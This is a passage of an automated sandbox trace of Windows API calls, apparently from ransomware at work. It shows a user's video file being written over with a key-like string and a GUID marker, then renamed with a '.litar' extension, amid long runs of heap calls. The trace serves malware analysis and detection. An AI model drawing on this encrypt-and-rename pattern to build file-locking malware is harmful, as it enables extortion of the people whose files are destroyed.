lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13905, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13905, lpOverlapped=0x0) returned 1 [0127.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.028] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1390a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0127.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0127.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.028] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.028] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.028] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.028] CloseHandle (hObject=0x624) returned 1 [0127.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0127.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0127.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\v3vmN1a.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\v3vmn1a.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\v3vmN1a.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\v3vmn1a.flv.litar")) returned 1 [0127.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.030] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ad9780, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0x401597c0, ftLastAccessTime.dwHighDateTime=0x1d4c7d7, ftLastWriteTime.dwLowDateTime=0x401597c0, ftLastWriteTime.dwHighDateTime=0x1d4c7d7, nFileSizeHigh=0x0, nFileSizeLow=0x1390a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3vmN1a.flv", cAlternateFileName="")) returned 0 [0127.031] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0127.031] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0630 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x69ffd0 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0168 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x69fec0 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844e0 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0388 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0300 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0278 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x69ff48 | out: hHeap=0x5c0000) returned 1 [0127.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a01f0 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.032] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.037] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0127.038] RtlAllocateHeap 